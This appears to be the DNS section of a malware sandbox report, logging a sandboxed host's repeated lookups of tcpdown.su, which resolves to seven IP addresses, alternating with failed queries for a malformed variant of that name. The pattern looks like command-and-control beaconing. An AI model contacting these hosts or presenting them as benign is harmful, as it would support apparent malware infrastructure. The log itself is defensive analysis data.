Jan 2, 2025 08:52:09.188824892 CET	1.1.1.1	192.168.2.13	0x69d8	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:09.188824892 CET	1.1.1.1	192.168.2.13	0x69d8	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:09.188824892 CET	1.1.1.1	192.168.2.13	0x69d8	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:09.188824892 CET	1.1.1.1	192.168.2.13	0x69d8	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:09.188824892 CET	1.1.1.1	192.168.2.13	0x69d8	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:09.188824892 CET	1.1.1.1	192.168.2.13	0x69d8	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:09.200587988 CET	1.1.1.1	192.168.2.13	0xbfea	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:09.215143919 CET	1.1.1.1	192.168.2.13	0xbfea	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:09.222781897 CET	1.1.1.1	192.168.2.13	0xbfea	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:09.230617046 CET	1.1.1.1	192.168.2.13	0xbfea	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:09.240092039 CET	1.1.1.1	192.168.2.13	0xbfea	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:10.922739983 CET	1.1.1.1	192.168.2.13	0x5a95	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:10.922739983 CET	1.1.1.1	192.168.2.13	0x5a95	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:10.922739983 CET	1.1.1.1	192.168.2.13	0x5a95	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:10.922739983 CET	1.1.1.1	192.168.2.13	0x5a95	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:10.922739983 CET	1.1.1.1	192.168.2.13	0x5a95	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:10.922739983 CET	1.1.1.1	192.168.2.13	0x5a95	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:10.922739983 CET	1.1.1.1	192.168.2.13	0x5a95	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:10.930531025 CET	1.1.1.1	192.168.2.13	0x7e28	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:10.940196037 CET	1.1.1.1	192.168.2.13	0x7e28	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:10.949060917 CET	1.1.1.1	192.168.2.13	0x7e28	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:10.957536936 CET	1.1.1.1	192.168.2.13	0x7e28	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:10.965167999 CET	1.1.1.1	192.168.2.13	0x7e28	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:12.505093098 CET	1.1.1.1	192.168.2.13	0xa096	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:12.505093098 CET	1.1.1.1	192.168.2.13	0xa096	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:12.505093098 CET	1.1.1.1	192.168.2.13	0xa096	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:12.505093098 CET	1.1.1.1	192.168.2.13	0xa096	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:12.505093098 CET	1.1.1.1	192.168.2.13	0xa096	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:12.505093098 CET	1.1.1.1	192.168.2.13	0xa096	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:12.505093098 CET	1.1.1.1	192.168.2.13	0xa096	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:12.512701035 CET	1.1.1.1	192.168.2.13	0x6930	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:12.520325899 CET	1.1.1.1	192.168.2.13	0x6930	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:12.530455112 CET	1.1.1.1	192.168.2.13	0x6930	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:12.538044930 CET	1.1.1.1	192.168.2.13	0x6930	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:12.545663118 CET	1.1.1.1	192.168.2.13	0x6930	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:14.368247986 CET	1.1.1.1	192.168.2.13	0x3db6	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:14.368247986 CET	1.1.1.1	192.168.2.13	0x3db6	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:14.368247986 CET	1.1.1.1	192.168.2.13	0x3db6	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:14.368247986 CET	1.1.1.1	192.168.2.13	0x3db6	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:14.368247986 CET	1.1.1.1	192.168.2.13	0x3db6	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:14.368247986 CET	1.1.1.1	192.168.2.13	0x3db6	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:14.368247986 CET	1.1.1.1	192.168.2.13	0x3db6	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:14.375730038 CET	1.1.1.1	192.168.2.13	0x83c7	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:14.383440971 CET	1.1.1.1	192.168.2.13	0x83c7	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:14.400660992 CET	1.1.1.1	192.168.2.13	0x83c7	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:14.408430099 CET	1.1.1.1	192.168.2.13	0x83c7	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:14.416857004 CET	1.1.1.1	192.168.2.13	0x83c7	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:16.821861029 CET	1.1.1.1	192.168.2.13	0xf7e4	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:16.821861029 CET	1.1.1.1	192.168.2.13	0xf7e4	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:16.821861029 CET	1.1.1.1	192.168.2.13	0xf7e4	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:16.821861029 CET	1.1.1.1	192.168.2.13	0xf7e4	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:16.821861029 CET	1.1.1.1	192.168.2.13	0xf7e4	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:16.821861029 CET	1.1.1.1	192.168.2.13	0xf7e4	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:16.821861029 CET	1.1.1.1	192.168.2.13	0xf7e4	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:16.830288887 CET	1.1.1.1	192.168.2.13	0xc1c	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:16.837673903 CET	1.1.1.1	192.168.2.13	0xc1c	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:16.851937056 CET	1.1.1.1	192.168.2.13	0xc1c	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:16.859379053 CET	1.1.1.1	192.168.2.13	0xc1c	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:16.867636919 CET	1.1.1.1	192.168.2.13	0xc1c	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:18.723635912 CET	1.1.1.1	192.168.2.13	0xbac6	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:18.723635912 CET	1.1.1.1	192.168.2.13	0xbac6	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:18.723635912 CET	1.1.1.1	192.168.2.13	0xbac6	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:18.723635912 CET	1.1.1.1	192.168.2.13	0xbac6	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:18.723635912 CET	1.1.1.1	192.168.2.13	0xbac6	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:18.723635912 CET	1.1.1.1	192.168.2.13	0xbac6	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:18.723635912 CET	1.1.1.1	192.168.2.13	0xbac6	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:18.745625973 CET	1.1.1.1	192.168.2.13	0xb04d	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:18.827939034 CET	1.1.1.1	192.168.2.13	0xb04d	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:18.837155104 CET	1.1.1.1	192.168.2.13	0xb04d	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:18.865426064 CET	1.1.1.1	192.168.2.13	0xb04d	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:18.886782885 CET	1.1.1.1	192.168.2.13	0xb04d	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:20.411655903 CET	1.1.1.1	192.168.2.13	0xaf7e	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:20.411655903 CET	1.1.1.1	192.168.2.13	0xaf7e	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:20.411655903 CET	1.1.1.1	192.168.2.13	0xaf7e	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:20.411655903 CET	1.1.1.1	192.168.2.13	0xaf7e	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:20.411655903 CET	1.1.1.1	192.168.2.13	0xaf7e	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:20.411655903 CET	1.1.1.1	192.168.2.13	0xaf7e	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:20.411655903 CET	1.1.1.1	192.168.2.13	0xaf7e	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:20.422552109 CET	1.1.1.1	192.168.2.13	0xb351	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:20.433430910 CET	1.1.1.1	192.168.2.13	0xb351	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:20.458910942 CET	1.1.1.1	192.168.2.13	0xb351	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:20.467710972 CET	1.1.1.1	192.168.2.13	0xb351	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:20.476138115 CET	1.1.1.1	192.168.2.13	0xb351	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:22.301775932 CET	1.1.1.1	192.168.2.13	0xb12b	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:22.301775932 CET	1.1.1.1	192.168.2.13	0xb12b	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:22.301775932 CET	1.1.1.1	192.168.2.13	0xb12b	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:22.301775932 CET	1.1.1.1	192.168.2.13	0xb12b	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:22.301775932 CET	1.1.1.1	192.168.2.13	0xb12b	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:22.301775932 CET	1.1.1.1	192.168.2.13	0xb12b	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:22.301775932 CET	1.1.1.1	192.168.2.13	0xb12b	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:22.309950113 CET	1.1.1.1	192.168.2.13	0x807e	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:22.318228006 CET	1.1.1.1	192.168.2.13	0x807e	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:22.326239109 CET	1.1.1.1	192.168.2.13	0x807e	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:22.333961964 CET	1.1.1.1	192.168.2.13	0x807e	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:22.341495037 CET	1.1.1.1	192.168.2.13	0x807e	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:24.170479059 CET	1.1.1.1	192.168.2.13	0xa9c9	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:24.170479059 CET	1.1.1.1	192.168.2.13	0xa9c9	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:24.170479059 CET	1.1.1.1	192.168.2.13	0xa9c9	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:24.170479059 CET	1.1.1.1	192.168.2.13	0xa9c9	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:24.170479059 CET	1.1.1.1	192.168.2.13	0xa9c9	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:24.170479059 CET	1.1.1.1	192.168.2.13	0xa9c9	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:24.170479059 CET	1.1.1.1	192.168.2.13	0xa9c9	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:24.184751034 CET	1.1.1.1	192.168.2.13	0xed16	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:24.192394018 CET	1.1.1.1	192.168.2.13	0xed16	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:24.201869965 CET	1.1.1.1	192.168.2.13	0xed16	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:24.209849119 CET	1.1.1.1	192.168.2.13	0xed16	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:24.217418909 CET	1.1.1.1	192.168.2.13	0xed16	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:25.767790079 CET	1.1.1.1	192.168.2.13	0x8362	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:25.767790079 CET	1.1.1.1	192.168.2.13	0x8362	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:25.767790079 CET	1.1.1.1	192.168.2.13	0x8362	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:25.767790079 CET	1.1.1.1	192.168.2.13	0x8362	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:25.767790079 CET	1.1.1.1	192.168.2.13	0x8362	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:25.767790079 CET	1.1.1.1	192.168.2.13	0x8362	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:25.767790079 CET	1.1.1.1	192.168.2.13	0x8362	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:25.775976896 CET	1.1.1.1	192.168.2.13	0x446f	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:25.783932924 CET	1.1.1.1	192.168.2.13	0x446f	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:25.792655945 CET	1.1.1.1	192.168.2.13	0x446f	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:25.800297976 CET	1.1.1.1	192.168.2.13	0x446f	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:25.808430910 CET	1.1.1.1	192.168.2.13	0x446f	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:27.343342066 CET	1.1.1.1	192.168.2.13	0x7326	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:27.343342066 CET	1.1.1.1	192.168.2.13	0x7326	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:27.343342066 CET	1.1.1.1	192.168.2.13	0x7326	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:27.343342066 CET	1.1.1.1	192.168.2.13	0x7326	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:27.343342066 CET	1.1.1.1	192.168.2.13	0x7326	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:27.343342066 CET	1.1.1.1	192.168.2.13	0x7326	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:27.343342066 CET	1.1.1.1	192.168.2.13	0x7326	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:27.358721018 CET	1.1.1.1	192.168.2.13	0xa872	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:27.366585016 CET	1.1.1.1	192.168.2.13	0xa872	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:27.374253035 CET	1.1.1.1	192.168.2.13	0xa872	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:27.382061005 CET	1.1.1.1	192.168.2.13	0xa872	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:27.389810085 CET	1.1.1.1	192.168.2.13	0xa872	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:28.935735941 CET	1.1.1.1	192.168.2.13	0x95b6	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:28.935735941 CET	1.1.1.1	192.168.2.13	0x95b6	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:28.935735941 CET	1.1.1.1	192.168.2.13	0x95b6	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:28.935735941 CET	1.1.1.1	192.168.2.13	0x95b6	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:28.935735941 CET	1.1.1.1	192.168.2.13	0x95b6	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:28.935735941 CET	1.1.1.1	192.168.2.13	0x95b6	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:28.935735941 CET	1.1.1.1	192.168.2.13	0x95b6	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:28.970510006 CET	1.1.1.1	192.168.2.13	0x91c5	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:28.980978966 CET	1.1.1.1	192.168.2.13	0x91c5	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:28.998717070 CET	1.1.1.1	192.168.2.13	0x91c5	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:29.023551941 CET	1.1.1.1	192.168.2.13	0x91c5	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:29.032157898 CET	1.1.1.1	192.168.2.13	0x91c5	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:30.569315910 CET	1.1.1.1	192.168.2.13	0x26f5	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:30.569315910 CET	1.1.1.1	192.168.2.13	0x26f5	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:30.569315910 CET	1.1.1.1	192.168.2.13	0x26f5	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:30.569315910 CET	1.1.1.1	192.168.2.13	0x26f5	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:30.569315910 CET	1.1.1.1	192.168.2.13	0x26f5	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:30.569315910 CET	1.1.1.1	192.168.2.13	0x26f5	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:30.569315910 CET	1.1.1.1	192.168.2.13	0x26f5	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:30.577776909 CET	1.1.1.1	192.168.2.13	0xe4e6	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:30.586957932 CET	1.1.1.1	192.168.2.13	0xe4e6	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:30.596244097 CET	1.1.1.1	192.168.2.13	0xe4e6	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:30.605257034 CET	1.1.1.1	192.168.2.13	0xe4e6	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:30.613059998 CET	1.1.1.1	192.168.2.13	0xe4e6	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:32.438867092 CET	1.1.1.1	192.168.2.13	0xa695	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:32.438867092 CET	1.1.1.1	192.168.2.13	0xa695	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:32.438867092 CET	1.1.1.1	192.168.2.13	0xa695	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:32.438867092 CET	1.1.1.1	192.168.2.13	0xa695	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:32.438867092 CET	1.1.1.1	192.168.2.13	0xa695	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:32.438867092 CET	1.1.1.1	192.168.2.13	0xa695	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:32.438867092 CET	1.1.1.1	192.168.2.13	0xa695	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:32.446736097 CET	1.1.1.1	192.168.2.13	0x518e	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:32.454691887 CET	1.1.1.1	192.168.2.13	0x518e	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:32.462585926 CET	1.1.1.1	192.168.2.13	0x518e	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:32.470225096 CET	1.1.1.1	192.168.2.13	0x518e	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:32.477623940 CET	1.1.1.1	192.168.2.13	0x518e	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:34.302581072 CET	1.1.1.1	192.168.2.13	0xa5b	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:34.302581072 CET	1.1.1.1	192.168.2.13	0xa5b	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:34.302581072 CET	1.1.1.1	192.168.2.13	0xa5b	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:34.302581072 CET	1.1.1.1	192.168.2.13	0xa5b	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:34.302581072 CET	1.1.1.1	192.168.2.13	0xa5b	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:34.302581072 CET	1.1.1.1	192.168.2.13	0xa5b	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:34.302581072 CET	1.1.1.1	192.168.2.13	0xa5b	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:34.310425043 CET	1.1.1.1	192.168.2.13	0x5f3d	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
